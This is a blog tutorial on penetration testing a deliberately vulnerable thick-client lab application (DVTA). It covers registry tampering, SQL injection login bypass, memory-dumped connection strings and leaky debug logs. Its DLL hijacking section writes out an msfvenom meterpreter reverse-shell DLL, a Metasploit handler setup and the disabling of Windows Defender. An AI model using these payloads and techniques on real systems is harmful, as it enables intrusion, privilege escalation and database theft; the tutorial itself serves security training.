In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA.
You can take a look
at that article by browsing this link: - https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/
In this article, we
will perform some attacks to pen-test the application.
Table of content
·
Prerequisites
·
Privilege Escalation
·
DLL Hijacking
·
Dumping connection string from
memory
·
SQL Injection
·
Side Channel Data Leak
·
Forensic Investigation: -
Unreliable logs
Prerequisites
·
Attacker machine: - Kali Linux
·
Regshot: - For Privilege
Escalation
·
Process Hacker: - To dump the
memory strings
·
Procmon from Sysinternal suite
Privilege Escalation
Regshot is a great open-source registry compare utility
that you can use to compare the number of registry entries or installing a new
software product so that you can easily take a snapshot of your registry and
then compare it with a second. Let us see how we can use Regshot to figure out what modifications are
done to the registry entries after running our application.
First of all
download the Regshot application go going to the official site or you can
directly download it from here: - https://sourceforge.net/projects/regshot/files/latest/download
Download and
extract It into your system and open up 32 version of regshot
After opening up
the application choose the HTML document and take the 1st shot. So
this should take a snapshot of all the registries entries.
Once 1st
shot is done open up the DVTA application and explores the application a bit by
logging in to one of the user accounts and taking the profile information and
after that we will take the second shot to observe the difference between the
registry entries before running the application and registry entries after
running the application.
Let’s open up the
DVTA application and log in as Vijay or another user that you have created.
And then explore
the application such as by clicking on View Profile or by checking expenses.
Now, let’s take a
second shot to see what registries entries have been modified.
Ok, great 2nd
shot also has been taken, let’s compare both of the entries.
It will show you an
HTML file with all the differences between the 1st shot and 2nd
shot. It will show you lots of entries. To make it easier to search for DVTA.
When you apply the find filter it will show you some DVTA related entries. If
you notice these are the registries entries that are modified while the
application was running probably when we have logged in to the application at
that time the DVTA application might have saved these values. You can see that initially,
the user name was “null” after running the application the value Vijay
was added to this registry entry. Similarly, initially, the password was
null, and “Vijay” was added after running the application. Basically,
after logging in as Vijay the user name password was saved into the registry’s
entries. Similarly, null has been replaced by “vijay@test.com” for the Email
entries and is logged in made “True” from false as shown below.
This brings us to
perform an interesting attack. To do this open up this particular registry
entry into the registry editor as shown below. As we can see there the value of
IsLoggedIn is true so we can make use of this feature to log in as somebody
else by changing the user name to Paras or whatever you want.
Let’s see you can
login or not into the DVTA application by using these registries entries. If the
password is also going to verify by the client application you won’t be able to
log in as paras. But if there are no checks made by the application to verify
the password of the currently logged-in user account.
So, let's quickly
check that we’re able to log in as paras or not.
As we can see we
have successfully able to log in as paras just by tempering the registry entry.
If you look at the view profile it is still showing Vijay’s Email ID because we
didn’t modify that.
Now we’re also able
to communicate with the database by submitting expenses here. All you need to
do is to go to Add Expanses then create an expense and save it as shown below.
After saving it the data will be stored in the database.
You can also verify
whether the data is successfully stored in the database or not. As you can see
in the below image, we can retrieve data from the database successfully.
This is how
applications can make use of registry entries to save sensitive data and if
attackers can find them, they can use them for different types of attacks.
DLL
Hijacking
DLL Hijacking is one of the
commonly seen vulnerabilities. Now we have a question moving around is what is
DLL. DLL stands for Dynamic Link Library. DLL files usually hold executable
code that can be used by other applications so basically, they can act as a
library that contains some code. When an application needs to use this DLL file
and if the absolute path is not provided the application has to search for this
DLL and if an attacker manages to replace this library or DLL with his own DLL from
the same name as one the target application is looking for… it may load the
attacker DLL instead of the library that application Is looking for and it may
execute the malicious code placed by the attacker in the DLL file and this is
known as DLL Hijacking.
To better understand DLL Hijacking we
must understand how windows application find their DLL files when the full path
is not provided.
Now the question is how do we find if an
application is vulnerable to DLL Hijacking.
Let’s test that with our DVTA
application but before we proceed with that these are their assumptions let’s
assume, we have an initial foothold on the target machine with low admin so we
can easily manage to gain a shell on a windows machine where DVTA is running
but the problem is we got the access of windows with low privileges we don’t
have admin access but we have found an application DVTA running with admin
privileges. Now If this application is vulnerable to DLL Hijacking and we can
exploit it then there is the highest probability that we will elevate our
privileges to an administrator. Let’s do this
Firstly, open “Procmon” from
Sysinternal suite
By opening procmon it loads entries
associate with all the processes. To reduce all the processes so let’s quickly
apply a filter so that we will only see the data that we are interested in. To
apply the filter, navigate to filter and apply the filter as shown below
·
Process name is DVTA.exe
·
Path ends with dll
·
Result ends with NAME NOT FOUND
So that you are going to see only the
process related to DVTA.exe
After applying the filter, quickly open
the DVTA.exe and login into the application
We are basically finding out it is
vulnerable to DLL hijacking or not. After log in to the application you can see
a couple of entries were created in the procmon related to DVTA.exe. As you can
see there it loaded two dll one is DWrite.dll another is SECUR32.DLL so
basically, there are two DLL that are potentially usable for this attack.
Now the question is to check these two
DLL are useable for us or not. To do this let’s go ahead and create a malicious
DLL that gives a reverse shell.
To create malicious DLL open the Kali
Linux and create a malicious DLL using msfvenom as shown below
Msfvenom -p
windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f dll >
DWrite.dll
Then after moving this file to webroot
so that we can download the DLL file In the victim machine by typing
cp DWrite.dll /var/www/html
and then start the apache service by
typing
service apache2 start
Let’s download these DLL files into the
windows machine however, there is a problem these files will be flagged as a virus,
and windows defender will not allow you to download them so we will have to
disable windows defender for a while
Now you good to download the DLL file by
navigating to 192.168.0.108 in your browser
Now navigate to the Downloads folder and
copy the Dwrite.dll file
And place it in the directory of the DVTA
application
Now come back to Kali Linux and setup
Metasploit listener with the meterpreter payload. To do this type the following
command
msfconsole
After opening up the msfconsole run the
following command
use exploit/multi/handler
set payload
windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 4444
exploit
Now, it should give us a shell when the DLL
file is executed by the DVTA application. To do this go back to the windows
machine and assume as an attacker….that you have placed a malicious file in the
directory of the DVTA application and you will have to wait for the
administrator to restart the DVTA application from its directory.
So, now in this case we have to assume
that the administrator came in and he opened the DVTA application. Here
must remember one thing when the administrator tries to run the application is
not going to open just due to that wrong DLL file that terminates the execution
of the DVTA application. Now come back to the Kali Linux machine
and where you can see we got a meterpreter shell
But when the administrator tries to run
the application that application will not be loaded so, maybe he tries to kill
the process. To prevent from losing the shell let’s just quickly migrate to the
stable process by running the following command
ps
Now quickly find a stable process
according to your environment here I’m migrating to the process of explorer.exe
You can see there each process have
their process ID. To migrate another process like explorer.exe run the below
command in my case I’m migrating to process ID 8036 explorer.exe
migrate 8036
after running this command migration
will be completed successfully and even the administrator goes to the task
manager and kills the process of DVTA application just because the application
was not loaded your session is not going to end also you can verify it by
running the following command
getuid
This is how we can exploit DLL hijacking
vulnerability in Thick Client Applications.
Dumping connection string from memory
As we have already seen two types of
data storage issues in thick client applications one is storing sensitive data
in registry entries and another one is hardcoded credentials. Now we are going
to see another type of data storage issue that is predominantly seen in the
2-tier application that is finding database connection strings in memory. There
are two scenarios to find these database connection strings.
Scenario 1
·
A Clear text connection string
may be hardcoded in the client application. So if you can somehow decompile the
application or if you can find the strings in the application you may be able
to identify this connection string.
·
When the application makes a
database connection that connection string has to be in memory so if you can
dump the memory while the application is running it is highly likely that you
will find the database connection string.
Scenario 2
·
A lot of applications hardcode
the database connection string however they encrypt it. So, an attacker who
decompiles the application can find the hard-coded string but it is not useable
to connect to the database.
·
in this scenario when you run
the application the application needs to decrypt the encrypted connection
string and that decrypted connection string will be seen in memory.
In both cases, if we can dump the memory of
the process, we should be able to find the clear text connection string in
memory. When it comes to the DVTA application it comes under scenario 2. It
contains a hard-coded connection string but the connection string is encrypted
but when the application is being run it has to decrypt the encrypted
connection string to be able to communicate with the database.
Let’s see how we can dump the memory of
a specific process. There are multiple ways are present to do this but we are
going to use a tool called process hacker.
You can download the process hacker tool
by searching It on the web or you can download it directly from here.
Process hacker: - https://processhacker.sourceforge.io/downloads.php
We are going to download the portable
binary here
Download and
extract it on your working directory. We are going to use a 64bit version of
this tool which is x64 but before that open up the DVTA application and log in
to the application.
Now, since we have
connected to Vijay’s account this application has made some communication with
the database so let’s run the Process hacker.
As we can see there
are lots of processes. Let’s look for DVTA.exe because DVTA is running on
another tab so we should be able to find it here as shown in the below image.
Give a double click
to the entry of DVTA.exe and then open its properties.
After that go to
the memory
Click on the
strings and then choose “image” and “mapped”.
Further, then it
should find all the strings in the memory of this process. Now as you can see
this is a very long list for us to search through so, what we will do is
quickly apply a filter with something very common in the database connection
strings. So we will apply the filter with the keyword of “Data source” typically
database connection strings contain this word data source.
After applying the filter, you can see a
bunch of entries. As you can see there are multiple database connection strings
with the decrypted password inside
Now copy that entry and paste it on the
notepad. As you can see this is the connection string that contains the “user
Id” and the “decrypted password”.
Now let’s see how we can make use of
this particular database connection string as an attacker to connect to the
database. We are going to use “SQL Server Management Studio”.
Assume that we are connecting as an attacker so we need to use SQL Server
authentication and from the database connection string we found that server IP
address which is “localhost\SQLEXPRESS” and “password is
p@ssw0rd”.
As you can see we are connected to the
Database now we can dump sensitive data from the database or we can explore the
database like tables or we can do whatever we want as an attacker.
Conclusion: - This is how we’ve
extracted the database connection string from the memory. As I have already
mentioned DVTA application uses an encrypted hardcoded connection string.
SQL
INJECTION
This is also one of the commonly seen
vulnerabilities in the thick client application is SQL injection. Damn
Vulnerable Thick Client application is also affected by SQL injection.
Let’s see how this attack works.
Without wasting the time let’s quickly
open up the DVTA application and that log screen has SQL injection
Vulnerability.
Open up the notepad and let’s try SQL
injection. This is traditionally how vulnerable queries are written.
Select * from username=’x’ or ‘x’=’x’
and password=’x’ or ‘x’=’x’ ;
“We are going to use x or x = x
and this will confuse the database in a way that it thinks that the query is
requesting to check for username = x or x = x obviously x = x is always true
and this will return true” and this condition also remain same for the password
field.
Let’s try to enter this into the user
name and password fields and see it works or not.
Hurray!!! As we can see we are logged in
as “sa” which is a privileged account. Now we are logged In as some
account but using SQL injection we can choose which user we want to login as.
So, let’s logout and change this
particular string to something like this.
raj’ or ‘x’=’y
as we assumed that we know the username
Let’s copy the previous string and enter
it into the field of username and password.
As we can see now, we are logged In as
raj
Let’s say you want to login as an admin
all you need to change the name raj to admin and then enter that string in the
field of username and password so that similarly you can log in as admin.
This is how we can make use of SQL
injection in any application.
Now you might be wondering we
already have full access to the database why do we have to rely on SQL
injection to log in as someone. The answer is there may be cases where the
password is encrypted in the database and you want to log in as a specific user
that’s the first case another case is a pentester you always want to tell the
developers what the problems are because even though it’s a 2-tier application.
Today they may migrate the 3-tier architecture application and if they leave
this vulnerable code even in 3-tier architecture that will be a serious
problem. So it’s always good to report this kind of problem to do all of us.
Side
Channel Data Leaks
This is another interesting security
issue that we may come across during Thick Client application penetration
testing is Side Channel Data Leaks.
I know which question is moving
around in your head that what is Side Channel Data Leak?
Application logging is one of the
best examples of Side Channel Data Leaks. Developers often use logging for
debugging purposes during development.
Developers may write and debug
logs into the console or some sort of file on the disk. when the application is
moved into production if these debug logs are not removed from the application
it can cause a security risk.
Let’s check out the DVTA application to
see if it is writing anything sensitive into console logs.
To do this firstly open up the CMD
(command prompt) and navigate to the directory of modified DVTA application and
let's run this application by typing
“DVTA.exe> and the destination of the
directory to save the log file\log.txt”
This is the output of this particular
console application. This command will open the DVTA application and then log
in to the application as shown below.
After login to the application click on
the view expanses and then click on the view profile and then logout.
Further, then login to different
accounts such as raj and then explore the application and the logout.
Similarly, login as an admin user and
click on Backup data to FTP Server.
Basically, we are just browsing through
the application to create some logs. As you can see this will create a log file
on the desktop
Open up that file using notepad and
there you can lot of interesting stuff such as Decrypted Database password,
Database Connection String and SQL queries …etc
Lots of interesting stuff is right there
and obviously just using these logs we will be able to compromise the entire
database because we have the database connection string and we can log in to
the database using these logs.
This is why excessive logging in a
production application is dangerous.
Forensic
Investigation: - Unreliable logs
This is the common issue that we come
across when the testing thick client application is tempering client site data
that can be used for forensic investigation.
For example, your application is taking
some time stamps from the client machine and they are saved in the database for
investigation purposes in the future. If there are any incidents and if they
want to check the timestamps of the client's actions, they can use this data
collected from the client.
However, if this client-side data is
tempered by the client and if it is not validated further on the server side it
can create unreliable logs on the server-side.
Let’s see how it can be tested in the DVTA
application. To do this open up the DVTA application and log in as Vijay and
then Add some expenses as shown below.
Also, we can view expenses so they will
retrieve the data from the database, and if you notice the time is
automatically taken from the system. What is the user change this time from
1:31 am to 2:30
pm obviously this will result in
incorrect unreliable logs on the server-side.
This is one of the issues that we may
want to report If any client-side artifacts are being collected being forensic
purposes.
So, this is how we can pentest Thick
Client Applications. In the next article we will talk about Reversing and
patching of the application.
0 comments:
Post a Comment